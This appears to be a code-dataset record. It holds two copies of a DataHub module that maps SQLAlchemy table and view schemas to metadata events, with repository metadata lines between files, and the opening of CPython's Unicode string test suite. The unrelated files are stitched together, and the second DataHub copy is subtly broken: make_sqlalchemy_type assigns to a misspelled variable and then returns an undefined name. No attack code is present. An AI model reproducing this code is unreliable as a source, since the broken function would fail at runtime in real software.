https://docs.python.org/3/library/functions.html#type. sqlalchemy_type: Type[types.TypeEngine] = type( name, (_CustomSQLAlchemyDummyType,), { "__repr__": lambda self: f"{name}()", }, ) return sqlalchemy_type def get_column_type( sql_report: SQLSourceReport, dataset_name: str, column_type: Any ) -> SchemaFieldDataType: """ Maps SQLAlchemy types (https://docs.sqlalchemy.org/en/13/core/type_basics.html) to corresponding schema types """ TypeClass: Optional[Type] = None for sql_type in _field_type_mapping.keys(): if isinstance(column_type, sql_type): TypeClass = _field_type_mapping[sql_type] break if TypeClass is None: for sql_type in _known_unknown_field_types: if isinstance(column_type, sql_type): TypeClass = NullTypeClass break if TypeClass is None: sql_report.report_warning( dataset_name, f"unable to map type {column_type!r} to metadata schema" ) TypeClass = NullTypeClass return SchemaFieldDataType(type=TypeClass()) def get_schema_metadata( sql_report: SQLSourceReport, dataset_name: str, platform: str, columns: List[dict] ) -> SchemaMetadata: canonical_schema: List[SchemaField] = [] for column in columns: field = SchemaField( fieldPath=column["name"], type=get_column_type(sql_report, dataset_name, column["type"]), nativeDataType=column.get("full_type", repr(column["type"])), description=column.get("comment", None), nullable=column["nullable"], recursive=False, ) canonical_schema.append(field) schema_metadata = SchemaMetadata( schemaName=dataset_name, platform=f"urn:li:dataPlatform:{platform}", version=0, hash="", platformSchema=MySqlDDL(tableSchema=""), fields=canonical_schema, ) return schema_metadata class SQLAlchemySource(Source): """A Base class for all SQL Sources that use SQLAlchemy to extend""" def __init__(self, config: SQLAlchemyConfig, ctx: PipelineContext, platform: str): super().__init__(ctx) self.config = config self.platform = platform self.report = SQLSourceReport() def get_inspectors(self) -> Iterable[Inspector]: # This method can be overridden in the case that you want to dynamically # run on multiple databases. url = self.config.get_sql_alchemy_url() logger.debug(f"sql_alchemy_url={url}") engine = create_engine(url, **self.config.options) inspector = inspect(engine) yield inspector def get_workunits(self) -> Iterable[SqlWorkUnit]: sql_config = self.config if logger.isEnabledFor(logging.DEBUG): # If debug logging is enabled, we also want to echo each SQL query issued. sql_config.options["echo"] = True for inspector in self.get_inspectors(): for schema in inspector.get_schema_names(): if not sql_config.schema_pattern.allowed(schema): self.report.report_dropped(f"{schema}.*") continue if sql_config.include_tables: yield from self.loop_tables(inspector, schema, sql_config) if sql_config.include_views: yield from self.loop_views(inspector, schema, sql_config) def loop_tables( self, inspector: Inspector, schema: str, sql_config: SQLAlchemyConfig, ) -> Iterable[SqlWorkUnit]: for table in inspector.get_table_names(schema): schema, table = sql_config.standardize_schema_table_names(schema, table) dataset_name = sql_config.get_identifier(schema, table) self.report.report_entity_scanned(dataset_name, ent_type="table") if not sql_config.table_pattern.allowed(dataset_name): self.report.report_dropped(dataset_name) continue columns = inspector.get_columns(table, schema) if len(columns) == 0: self.report.report_warning(dataset_name, "missing column information") try: # SQLALchemy stubs are incomplete and missing this method. # PR: https://github.com/dropbox/sqlalchemy-stubs/pull/223. table_info: dict = inspector.get_table_comment(table, schema) # type: ignore except NotImplementedError: description: Optional[str] = None properties: Dict[str, str] = {} else: description = table_info["text"] # The "properties" field is a non-standard addition to SQLAlchemy's interface. properties = table_info.get("properties", {}) # TODO: capture inspector.get_pk_constraint # TODO: capture inspector.get_sorted_table_and_fkc_names dataset_snapshot = DatasetSnapshot( urn=f"urn:li:dataset:(urn:li:dataPlatform:{self.platform},{dataset_name},{self.config.env})", aspects=[], ) if description is not None or properties: dataset_properties = DatasetPropertiesClass( description=description, customProperties=properties, ) dataset_snapshot.aspects.append(dataset_properties) schema_metadata = get_schema_metadata( self.report, dataset_name, self.platform, columns ) dataset_snapshot.aspects.append(schema_metadata) mce = MetadataChangeEvent(proposedSnapshot=dataset_snapshot) wu = SqlWorkUnit(id=dataset_name, mce=mce) self.report.report_workunit(wu) yield wu def loop_views( self, inspector: Inspector, schema: str, sql_config: SQLAlchemyConfig, ) -> Iterable[SqlWorkUnit]: for view in inspector.get_view_names(schema): schema, view = sql_config.standardize_schema_table_names(schema, view) dataset_name = sql_config.get_identifier(schema, view) self.report.report_entity_scanned(dataset_name, ent_type="view") if not sql_config.view_pattern.allowed(dataset_name): self.report.report_dropped(dataset_name) continue try: columns = inspector.get_columns(view, schema) except KeyError: # For certain types of views, we are unable to fetch the list of columns. self.report.report_warning( dataset_name, "unable to get schema for this view" ) schema_metadata = None else: schema_metadata = get_schema_metadata( self.report, dataset_name, self.platform, columns ) try: # SQLALchemy stubs are incomplete and missing this method. # PR: https://github.com/dropbox/sqlalchemy-stubs/pull/223. view_info: dict = inspector.get_table_comment(view, schema) # type: ignore except NotImplementedError: description: Optional[str] = None properties: Dict[str, str] = {} else: description = view_info["text"] # The "properties" field is a non-standard addition to SQLAlchemy's interface. properties = view_info.get("properties", {}) try: view_definition = inspector.get_view_definition(view, schema) if view_definition is None: view_definition = "" else: # Some dialects return a TextClause instead of a raw string, # so we need to convert them to a string. view_definition = str(view_definition) except NotImplementedError: view_definition = "" properties["view_definition"] = view_definition properties["is_view"] = "True" dataset_snapshot = DatasetSnapshot( urn=f"urn:li:dataset:(urn:li:dataPlatform:{self.platform},{dataset_name},{self.config.env})", aspects=[], ) if description is not None or properties: dataset_properties = DatasetPropertiesClass( description=description, customProperties=properties, # uri=dataset_name, ) dataset_snapshot.aspects.append(dataset_properties) if schema_metadata: dataset_snapshot.aspects.append(schema_metadata) mce = MetadataChangeEvent(proposedSnapshot=dataset_snapshot) wu = SqlWorkUnit(id=dataset_name, mce=mce) self.report.report_workunit(wu) yield wu def get_report(self): return self.report def close(self): pass

35.757143

118

0.639433

import logging from abc import abstractmethod from dataclasses import dataclass, field from typing import Any, Dict, Iterable, List, Optional, Set, Tuple, Type from urllib.parse import quote_plus import pydantic from sqlalchemy import create_engine, inspect from sqlalchemy.engine.reflection import Inspector from sqlalchemy.sql import sqltypes as types from datahub.configuration.common import AllowDenyPattern, ConfigModel from datahub.emitter.mce_builder import DEFAULT_ENV from datahub.ingestion.api.common import PipelineContext from datahub.ingestion.api.source import Source, SourceReport from datahub.ingestion.api.workunit import MetadataWorkUnit from datahub.metadata.com.linkedin.pegasus2avro.metadata.snapshot import DatasetSnapshot from datahub.metadata.com.linkedin.pegasus2avro.mxe import MetadataChangeEvent from datahub.metadata.com.linkedin.pegasus2avro.schema import ( ArrayTypeClass, BooleanTypeClass, BytesTypeClass, DateTypeClass, EnumTypeClass, MySqlDDL, NullTypeClass, NumberTypeClass, RecordTypeClass, SchemaField, SchemaFieldDataType, SchemaMetadata, StringTypeClass, TimeTypeClass, ) from datahub.metadata.schema_classes import DatasetPropertiesClass logger: logging.Logger = logging.getLogger(__name__) def make_sqlalchemy_uri( scheme: str, username: Optional[str], password: Optional[str], at: Optional[str], db: Optional[str], uri_opts: Optional[Dict[str, Any]] = None, ) -> str: url = f"{scheme}://" if username is not None: url += f"{quote_plus(username)}" if password is not None: url += f":{quote_plus(password)}" url += "@" if at is not None: url += f"{at}" if db is not None: url += f"/{db}" if uri_opts is not None: if db is None: url += "/" params = "&".join( f"{key}={quote_plus(value)}" for (key, value) in uri_opts.items() if value ) url = f"{url}?{params}" return url @dataclass class SQLSourceReport(SourceReport): tables_scanned: int = 0 views_scanned: int = 0 filtered: List[str] = field(default_factory=list) def report_entity_scanned(self, name: str, ent_type: str = "table") -> None: if ent_type == "table": self.tables_scanned += 1 elif ent_type == "view": self.views_scanned += 1 else: raise KeyError(f"Unknown entity {ent_type}.") def report_dropped(self, ent_name: str) -> None: self.filtered.append(ent_name) class SQLAlchemyConfig(ConfigModel): env: str = DEFAULT_ENV options: dict = {} schema_pattern: AllowDenyPattern = AllowDenyPattern.allow_all() table_pattern: AllowDenyPattern = AllowDenyPattern.allow_all() view_pattern: AllowDenyPattern = AllowDenyPattern.allow_all() include_views: Optional[bool] = True include_tables: Optional[bool] = True @abstractmethod def get_sql_alchemy_url(self): pass def get_identifier(self, schema: str, table: str) -> str: return f"{schema}.{table}" def standardize_schema_table_names( self, schema: str, entity: str ) -> Tuple[str, str]: return schema, entity class BasicSQLAlchemyConfig(SQLAlchemyConfig): username: Optional[str] = None password: Optional[pydantic.SecretStr] = None host_port: str database: Optional[str] = None database_alias: Optional[str] = None scheme: str def get_sql_alchemy_url(self, uri_opts=None): return make_sqlalchemy_uri( self.scheme, self.username, self.password.get_secret_value() if self.password else None, self.host_port, self.database, uri_opts=uri_opts, ) @dataclass class SqlWorkUnit(MetadataWorkUnit): pass _field_type_mapping: Dict[Type[types.TypeEngine], Type] = { types.Integer: NumberTypeClass, types.Numeric: NumberTypeClass, types.Boolean: BooleanTypeClass, types.Enum: EnumTypeClass, types._Binary: BytesTypeClass, types.LargeBinary: BytesTypeClass, types.PickleType: BytesTypeClass, types.ARRAY: ArrayTypeClass, types.String: StringTypeClass, types.Date: DateTypeClass, types.DATE: DateTypeClass, types.Time: TimeTypeClass, types.DateTime: TimeTypeClass, types.DATETIME: TimeTypeClass, types.TIMESTAMP: TimeTypeClass, types.JSON: RecordTypeClass, types.NullType: NullTypeClass, } _known_unknown_field_types: Set[Type[types.TypeEngine]] = { types.Interval, types.CLOB, } def register_custom_type( tp: Type[types.TypeEngine], output: Optional[Type] = None ) -> None: if output: _field_type_mapping[tp] = output else: _known_unknown_field_types.add(tp) class _CustomSQLAlchemyDummyType(types.TypeDecorator): impl = types.LargeBinary def make_sqlalchemy_type(name: str) -> Type[types.TypeEngine]: qlalchemy_type: Type[types.TypeEngine] = type( name, (_CustomSQLAlchemyDummyType,), { "__repr__": lambda self: f"{name}()", }, ) return sqlalchemy_type def get_column_type( sql_report: SQLSourceReport, dataset_name: str, column_type: Any ) -> SchemaFieldDataType: TypeClass: Optional[Type] = None for sql_type in _field_type_mapping.keys(): if isinstance(column_type, sql_type): TypeClass = _field_type_mapping[sql_type] break if TypeClass is None: for sql_type in _known_unknown_field_types: if isinstance(column_type, sql_type): TypeClass = NullTypeClass break if TypeClass is None: sql_report.report_warning( dataset_name, f"unable to map type {column_type!r} to metadata schema" ) TypeClass = NullTypeClass return SchemaFieldDataType(type=TypeClass()) def get_schema_metadata( sql_report: SQLSourceReport, dataset_name: str, platform: str, columns: List[dict] ) -> SchemaMetadata: canonical_schema: List[SchemaField] = [] for column in columns: field = SchemaField( fieldPath=column["name"], type=get_column_type(sql_report, dataset_name, column["type"]), nativeDataType=column.get("full_type", repr(column["type"])), description=column.get("comment", None), nullable=column["nullable"], recursive=False, ) canonical_schema.append(field) schema_metadata = SchemaMetadata( schemaName=dataset_name, platform=f"urn:li:dataPlatform:{platform}", version=0, hash="", platformSchema=MySqlDDL(tableSchema=""), fields=canonical_schema, ) return schema_metadata class SQLAlchemySource(Source): def __init__(self, config: SQLAlchemyConfig, ctx: PipelineContext, platform: str): super().__init__(ctx) self.config = config self.platform = platform self.report = SQLSourceReport() def get_inspectors(self) -> Iterable[Inspector]: url = self.config.get_sql_alchemy_url() logger.debug(f"sql_alchemy_url={url}") engine = create_engine(url, **self.config.options) inspector = inspect(engine) yield inspector def get_workunits(self) -> Iterable[SqlWorkUnit]: sql_config = self.config if logger.isEnabledFor(logging.DEBUG): sql_config.options["echo"] = True for inspector in self.get_inspectors(): for schema in inspector.get_schema_names(): if not sql_config.schema_pattern.allowed(schema): self.report.report_dropped(f"{schema}.*") continue if sql_config.include_tables: yield from self.loop_tables(inspector, schema, sql_config) if sql_config.include_views: yield from self.loop_views(inspector, schema, sql_config) def loop_tables( self, inspector: Inspector, schema: str, sql_config: SQLAlchemyConfig, ) -> Iterable[SqlWorkUnit]: for table in inspector.get_table_names(schema): schema, table = sql_config.standardize_schema_table_names(schema, table) dataset_name = sql_config.get_identifier(schema, table) self.report.report_entity_scanned(dataset_name, ent_type="table") if not sql_config.table_pattern.allowed(dataset_name): self.report.report_dropped(dataset_name) continue columns = inspector.get_columns(table, schema) if len(columns) == 0: self.report.report_warning(dataset_name, "missing column information") try: table_info: dict = inspector.get_table_comment(table, schema) except NotImplementedError: description: Optional[str] = None properties: Dict[str, str] = {} else: description = table_info["text"] properties = table_info.get("properties", {}) # TODO: capture inspector.get_pk_constraint # TODO: capture inspector.get_sorted_table_and_fkc_names dataset_snapshot = DatasetSnapshot( urn=f"urn:li:dataset:(urn:li:dataPlatform:{self.platform},{dataset_name},{self.config.env})", aspects=[], ) if description is not None or properties: dataset_properties = DatasetPropertiesClass( description=description, customProperties=properties, ) dataset_snapshot.aspects.append(dataset_properties) schema_metadata = get_schema_metadata( self.report, dataset_name, self.platform, columns ) dataset_snapshot.aspects.append(schema_metadata) mce = MetadataChangeEvent(proposedSnapshot=dataset_snapshot) wu = SqlWorkUnit(id=dataset_name, mce=mce) self.report.report_workunit(wu) yield wu def loop_views( self, inspector: Inspector, schema: str, sql_config: SQLAlchemyConfig, ) -> Iterable[SqlWorkUnit]: for view in inspector.get_view_names(schema): schema, view = sql_config.standardize_schema_table_names(schema, view) dataset_name = sql_config.get_identifier(schema, view) self.report.report_entity_scanned(dataset_name, ent_type="view") if not sql_config.view_pattern.allowed(dataset_name): self.report.report_dropped(dataset_name) continue try: columns = inspector.get_columns(view, schema) except KeyError: # For certain types of views, we are unable to fetch the list of columns. self.report.report_warning( dataset_name, "unable to get schema for this view" ) schema_metadata = None else: schema_metadata = get_schema_metadata( self.report, dataset_name, self.platform, columns ) try: # SQLALchemy stubs are incomplete and missing this method. # PR: https://github.com/dropbox/sqlalchemy-stubs/pull/223. view_info: dict = inspector.get_table_comment(view, schema) # type: ignore except NotImplementedError: description: Optional[str] = None properties: Dict[str, str] = {} else: description = view_info["text"] # The "properties" field is a non-standard addition to SQLAlchemy's interface. properties = view_info.get("properties", {}) try: view_definition = inspector.get_view_definition(view, schema) if view_definition is None: view_definition = "" else: view_definition = str(view_definition) except NotImplementedError: view_definition = "" properties["view_definition"] = view_definition properties["is_view"] = "True" dataset_snapshot = DatasetSnapshot( urn=f"urn:li:dataset:(urn:li:dataPlatform:{self.platform},{dataset_name},{self.config.env})", aspects=[], ) if description is not None or properties: dataset_properties = DatasetPropertiesClass( description=description, customProperties=properties, ) dataset_snapshot.aspects.append(dataset_properties) if schema_metadata: dataset_snapshot.aspects.append(schema_metadata) mce = MetadataChangeEvent(proposedSnapshot=dataset_snapshot) wu = SqlWorkUnit(id=dataset_name, mce=mce) self.report.report_workunit(wu) yield wu def get_report(self): return self.report def close(self): pass

true

f70504c11afdc0157e75d2a01ec110e01f694f06

132,215

py

Python

Lib/test/test_unicode.py

KinkowanWinter/Transcendental-Number-Utilization

5f6d1d32850ad2cd2d03cc6f796d32ba7876fc39

[ "PSF-2.0" ]

7

2018-04-12T17:11:04.000Z

2021-12-02T14:01:47.000Z

Lib/test/test_unicode.py

KinkowanWinter/Transcendental-Number-Utilization

5f6d1d32850ad2cd2d03cc6f796d32ba7876fc39

[ "PSF-2.0" ]

1

2021-12-01T08:11:51.000Z

Lib/test/test_unicode.py

KinkowanWinter/Transcendental-Number-Utilization

5f6d1d32850ad2cd2d03cc6f796d32ba7876fc39

[ "PSF-2.0" ]

4

2018-04-27T18:03:08.000Z

2020-04-12T23:14:29.000Z

""" Test script for the Unicode implementation. Written by Marc-Andre Lemburg (mal@lemburg.com). (c) Copyright CNRI, All Rights Reserved. NO WARRANTY. """ import _string import codecs import itertools import operator import struct import string import sys import unittest import warnings from test import support, string_tests # Error handling (bad decoder return) def search_function(encoding): def decode1(input, errors="strict"): return 42 # not a tuple def encode1(input, errors="strict"): return 42 # not a tuple def encode2(input, errors="strict"): return (42, 42) # no unicode def decode2(input, errors="strict"): return (42, 42) # no unicode if encoding=="test.unicode1": return (encode1, decode1, None, None) elif encoding=="test.unicode2": return (encode2, decode2, None, None) else: return None codecs.register(search_function) def duplicate_string(text): """ Try to get a fresh clone of the specified text: new object with a reference count of 1. This is a best-effort: latin1 single letters and the empty string ('') are singletons and cannot be cloned. """ return text.encode().decode() class StrSubclass(str): pass class UnicodeTest(string_tests.CommonTest, string_tests.MixinStrUnicodeUserStringTest, string_tests.MixinStrUnicodeTest, unittest.TestCase): type2test = str def checkequalnofix(self, result, object, methodname, *args): method = getattr(object, methodname) realresult = method(*args) self.assertEqual(realresult, result) self.assertTrue(type(realresult) is type(result)) # if the original is returned make sure that # this doesn't happen with subclasses if realresult is object: class usub(str): def __repr__(self): return 'usub(%r)' % str.__repr__(self) object = usub(object) method = getattr(object, methodname) realresult = method(*args) self.assertEqual(realresult, result) self.assertTrue(object is not realresult) def test_literals(self): self.assertEqual('\xff', '\u00ff') self.assertEqual('\uffff', '\U0000ffff') self.assertRaises(SyntaxError, eval, '\'\\Ufffffffe\'') self.assertRaises(SyntaxError, eval, '\'\\Uffffffff\'') self.assertRaises(SyntaxError, eval, '\'\\U%08x\'' % 0x110000) # raw strings should not have unicode escapes self.assertNotEqual(r"\u0020", " ") def test_ascii(self): if not sys.platform.startswith('java'): # Test basic sanity of repr() self.assertEqual(ascii('abc'), "'abc'") self.assertEqual(ascii('ab\\c'), "'ab\\\\c'") self.assertEqual(ascii('ab\\'), "'ab\\\\'") self.assertEqual(ascii('\\c'), "'\\\\c'") self.assertEqual(ascii('\\'), "'\\\\'") self.assertEqual(ascii('\n'), "'\\n'") self.assertEqual(ascii('\r'), "'\\r'") self.assertEqual(ascii('\t'), "'\\t'") self.assertEqual(ascii('\b'), "'\\x08'") self.assertEqual(ascii("'\""), """'\\'"'""") self.assertEqual(ascii("'\""), """'\\'"'""") self.assertEqual(ascii("'"), '''"'"''') self.assertEqual(ascii('"'), """'"'""") latin1repr = ( "'\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\x0b\\x0c\\r" "\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a" "\\x1b\\x1c\\x1d\\x1e\\x1f !\"#$%&\\'()*+,-./0123456789:;<=>?@ABCDEFGHI" "JKLMNOPQRSTUVWXYZ[\\\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\\x7f" "\\x80\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8d" "\\x8e\\x8f\\x90\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b" "\\x9c\\x9d\\x9e\\x9f\\xa0\\xa1\\xa2\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8\\xa9" "\\xaa\\xab\\xac\\xad\\xae\\xaf\\xb0\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7" "\\xb8\\xb9\\xba\\xbb\\xbc\\xbd\\xbe\\xbf\\xc0\\xc1\\xc2\\xc3\\xc4\\xc5" "\\xc6\\xc7\\xc8\\xc9\\xca\\xcb\\xcc\\xcd\\xce\\xcf\\xd0\\xd1\\xd2\\xd3" "\\xd4\\xd5\\xd6\\xd7\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf\\xe0\\xe1" "\\xe2\\xe3\\xe4\\xe5\\xe6\\xe7\\xe8\\xe9\\xea\\xeb\\xec\\xed\\xee\\xef" "\\xf0\\xf1\\xf2\\xf3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd" "\\xfe\\xff'") testrepr = ascii(''.join(map(chr, range(256)))) self.assertEqual(testrepr, latin1repr) # Test ascii works on wide unicode escapes without overflow. self.assertEqual(ascii("\U00010000" * 39 + "\uffff" * 4096), ascii("\U00010000" * 39 + "\uffff" * 4096)) class WrongRepr: def __repr__(self): return b'byte-repr' self.assertRaises(TypeError, ascii, WrongRepr()) def test_repr(self): if not sys.platform.startswith('java'): # Test basic sanity of repr() self.assertEqual(repr('abc'), "'abc'") self.assertEqual(repr('ab\\c'), "'ab\\\\c'") self.assertEqual(repr('ab\\'), "'ab\\\\'") self.assertEqual(repr('\\c'), "'\\\\c'") self.assertEqual(repr('\\'), "'\\\\'") self.assertEqual(repr('\n'), "'\\n'") self.assertEqual(repr('\r'), "'\\r'") self.assertEqual(repr('\t'), "'\\t'") self.assertEqual(repr('\b'), "'\\x08'") self.assertEqual(repr("'\""), """'\\'"'""") self.assertEqual(repr("'\""), """'\\'"'""") self.assertEqual(repr("'"), '''"'"''') self.assertEqual(repr('"'), """'"'""") latin1repr = ( "'\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\x0b\\x0c\\r" "\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a" "\\x1b\\x1c\\x1d\\x1e\\x1f !\"#$%&\\'()*+,-./0123456789:;<=>?@ABCDEFGHI" "JKLMNOPQRSTUVWXYZ[\\\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\\x7f" "\\x80\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8d" "\\x8e\\x8f\\x90\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b" "\\x9c\\x9d\\x9e\\x9f\\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9" "\xaa\xab\xac\\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7" "\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5" "\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3" "\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1" "\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef" "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd" "\xfe\xff'") testrepr = repr(''.join(map(chr, range(256)))) self.assertEqual(testrepr, latin1repr) # Test repr works on wide unicode escapes without overflow. self.assertEqual(repr("\U00010000" * 39 + "\uffff" * 4096), repr("\U00010000" * 39 + "\uffff" * 4096)) class WrongRepr: def __repr__(self): return b'byte-repr' self.assertRaises(TypeError, repr, WrongRepr()) def test_iterators(self): # Make sure unicode objects have an __iter__ method it = "\u1111\u2222\u3333".__iter__() self.assertEqual(next(it), "\u1111") self.assertEqual(next(it), "\u2222") self.assertEqual(next(it), "\u3333") self.assertRaises(StopIteration, next, it) def test_count(self): string_tests.CommonTest.test_count(self) # check mixed argument types self.checkequalnofix(3, 'aaa', 'count', 'a') self.checkequalnofix(0, 'aaa', 'count', 'b') self.checkequalnofix(3, 'aaa', 'count', 'a') self.checkequalnofix(0, 'aaa', 'count', 'b') self.checkequalnofix(0, 'aaa', 'count', 'b') self.checkequalnofix(1, 'aaa', 'count', 'a', -1) self.checkequalnofix(3, 'aaa', 'count', 'a', -10) self.checkequalnofix(2, 'aaa', 'count', 'a', 0, -1) self.checkequalnofix(0, 'aaa', 'count', 'a', 0, -10) # test mixed kinds self.checkequal(10, '\u0102' + 'a' * 10, 'count', 'a') self.checkequal(10, '\U00100304' + 'a' * 10, 'count', 'a') self.checkequal(10, '\U00100304' + '\u0102' * 10, 'count', '\u0102') self.checkequal(0, 'a' * 10, 'count', '\u0102') self.checkequal(0, 'a' * 10, 'count', '\U00100304') self.checkequal(0, '\u0102' * 10, 'count', '\U00100304') self.checkequal(10, '\u0102' + 'a_' * 10, 'count', 'a_') self.checkequal(10, '\U00100304' + 'a_' * 10, 'count', 'a_') self.checkequal(10, '\U00100304' + '\u0102_' * 10, 'count', '\u0102_') self.checkequal(0, 'a' * 10, 'count', 'a\u0102') self.checkequal(0, 'a' * 10, 'count', 'a\U00100304') self.checkequal(0, '\u0102' * 10, 'count', '\u0102\U00100304') def test_find(self): string_tests.CommonTest.test_find(self) # test implementation details of the memchr fast path self.checkequal(100, 'a' * 100 + '\u0102', 'find', '\u0102') self.checkequal(-1, 'a' * 100 + '\u0102', 'find', '\u0201') self.checkequal(-1, 'a' * 100 + '\u0102', 'find', '\u0120') self.checkequal(-1, 'a' * 100 + '\u0102', 'find', '\u0220') self.checkequal(100, 'a' * 100 + '\U00100304', 'find', '\U00100304') self.checkequal(-1, 'a' * 100 + '\U00100304', 'find', '\U00100204') self.checkequal(-1, 'a' * 100 + '\U00100304', 'find', '\U00102004') # check mixed argument types self.checkequalnofix(0, 'abcdefghiabc', 'find', 'abc') self.checkequalnofix(9, 'abcdefghiabc', 'find', 'abc', 1) self.checkequalnofix(-1, 'abcdefghiabc', 'find', 'def', 4) self.assertRaises(TypeError, 'hello'.find) self.assertRaises(TypeError, 'hello'.find, 42) # test mixed kinds self.checkequal(100, '\u0102' * 100 + 'a', 'find', 'a') self.checkequal(100, '\U00100304' * 100 + 'a', 'find', 'a') self.checkequal(100, '\U00100304' * 100 + '\u0102', 'find', '\u0102') self.checkequal(-1, 'a' * 100, 'find', '\u0102') self.checkequal(-1, 'a' * 100, 'find', '\U00100304') self.checkequal(-1, '\u0102' * 100, 'find', '\U00100304') self.checkequal(100, '\u0102' * 100 + 'a_', 'find', 'a_') self.checkequal(100, '\U00100304' * 100 + 'a_', 'find', 'a_') self.checkequal(100, '\U00100304' * 100 + '\u0102_', 'find', '\u0102_') self.checkequal(-1, 'a' * 100, 'find', 'a\u0102') self.checkequal(-1, 'a' * 100, 'find', 'a\U00100304') self.checkequal(-1, '\u0102' * 100, 'find', '\u0102\U00100304') def test_rfind(self): string_tests.CommonTest.test_rfind(self) # test implementation details of the memrchr fast path self.checkequal(0, '\u0102' + 'a' * 100 , 'rfind', '\u0102') self.checkequal(-1, '\u0102' + 'a' * 100 , 'rfind', '\u0201') self.checkequal(-1, '\u0102' + 'a' * 100 , 'rfind', '\u0120') self.checkequal(-1, '\u0102' + 'a' * 100 , 'rfind', '\u0220') self.checkequal(0, '\U00100304' + 'a' * 100, 'rfind', '\U00100304') self.checkequal(-1, '\U00100304' + 'a' * 100, 'rfind', '\U00100204') self.checkequal(-1, '\U00100304' + 'a' * 100, 'rfind', '\U00102004') # check mixed argument types self.checkequalnofix(9, 'abcdefghiabc', 'rfind', 'abc') self.checkequalnofix(12, 'abcdefghiabc', 'rfind', '') self.checkequalnofix(12, 'abcdefghiabc', 'rfind', '') # test mixed kinds self.checkequal(0, 'a' + '\u0102' * 100, 'rfind', 'a') self.checkequal(0, 'a' + '\U00100304' * 100, 'rfind', 'a') self.checkequal(0, '\u0102' + '\U00100304' * 100, 'rfind', '\u0102') self.checkequal(-1, 'a' * 100, 'rfind', '\u0102') self.checkequal(-1, 'a' * 100, 'rfind', '\U00100304') self.checkequal(-1, '\u0102' * 100, 'rfind', '\U00100304') self.checkequal(0, '_a' + '\u0102' * 100, 'rfind', '_a') self.checkequal(0, '_a' + '\U00100304' * 100, 'rfind', '_a') self.checkequal(0, '_\u0102' + '\U00100304' * 100, 'rfind', '_\u0102') self.checkequal(-1, 'a' * 100, 'rfind', '\u0102a') self.checkequal(-1, 'a' * 100, 'rfind', '\U00100304a') self.checkequal(-1, '\u0102' * 100, 'rfind', '\U00100304\u0102') def test_index(self): string_tests.CommonTest.test_index(self) self.checkequalnofix(0, 'abcdefghiabc', 'index', '') self.checkequalnofix(3, 'abcdefghiabc', 'index', 'def') self.checkequalnofix(0, 'abcdefghiabc', 'index', 'abc') self.checkequalnofix(9, 'abcdefghiabc', 'index', 'abc', 1) self.assertRaises(ValueError, 'abcdefghiabc'.index, 'hib') self.assertRaises(ValueError, 'abcdefghiab'.index, 'abc', 1) self.assertRaises(ValueError, 'abcdefghi'.index, 'ghi', 8) self.assertRaises(ValueError, 'abcdefghi'.index, 'ghi', -1) # test mixed kinds self.checkequal(100, '\u0102' * 100 + 'a', 'index', 'a') self.checkequal(100, '\U00100304' * 100 + 'a', 'index', 'a') self.checkequal(100, '\U00100304' * 100 + '\u0102', 'index', '\u0102') self.assertRaises(ValueError, ('a' * 100).index, '\u0102') self.assertRaises(ValueError, ('a' * 100).index, '\U00100304') self.assertRaises(ValueError, ('\u0102' * 100).index, '\U00100304') self.checkequal(100, '\u0102' * 100 + 'a_', 'index', 'a_') self.checkequal(100, '\U00100304' * 100 + 'a_', 'index', 'a_') self.checkequal(100, '\U00100304' * 100 + '\u0102_', 'index', '\u0102_') self.assertRaises(ValueError, ('a' * 100).index, 'a\u0102') self.assertRaises(ValueError, ('a' * 100).index, 'a\U00100304') self.assertRaises(ValueError, ('\u0102' * 100).index, '\u0102\U00100304') def test_rindex(self): string_tests.CommonTest.test_rindex(self) self.checkequalnofix(12, 'abcdefghiabc', 'rindex', '') self.checkequalnofix(3, 'abcdefghiabc', 'rindex', 'def') self.checkequalnofix(9, 'abcdefghiabc', 'rindex', 'abc') self.checkequalnofix(0, 'abcdefghiabc', 'rindex', 'abc', 0, -1) self.assertRaises(ValueError, 'abcdefghiabc'.rindex, 'hib') self.assertRaises(ValueError, 'defghiabc'.rindex, 'def', 1) self.assertRaises(ValueError, 'defghiabc'.rindex, 'abc', 0, -1) self.assertRaises(ValueError, 'abcdefghi'.rindex, 'ghi', 0, 8) self.assertRaises(ValueError, 'abcdefghi'.rindex, 'ghi', 0, -1) # test mixed kinds self.checkequal(0, 'a' + '\u0102' * 100, 'rindex', 'a') self.checkequal(0, 'a' + '\U00100304' * 100, 'rindex', 'a') self.checkequal(0, '\u0102' + '\U00100304' * 100, 'rindex', '\u0102') self.assertRaises(ValueError, ('a' * 100).rindex, '\u0102') self.assertRaises(ValueError, ('a' * 100).rindex, '\U00100304') self.assertRaises(ValueError, ('\u0102' * 100).rindex, '\U00100304') self.checkequal(0, '_a' + '\u0102' * 100, 'rindex', '_a') self.checkequal(0, '_a' + '\U00100304' * 100, 'rindex', '_a') self.checkequal(0, '_\u0102' + '\U00100304' * 100, 'rindex', '_\u0102') self.assertRaises(ValueError, ('a' * 100).rindex, '\u0102a') 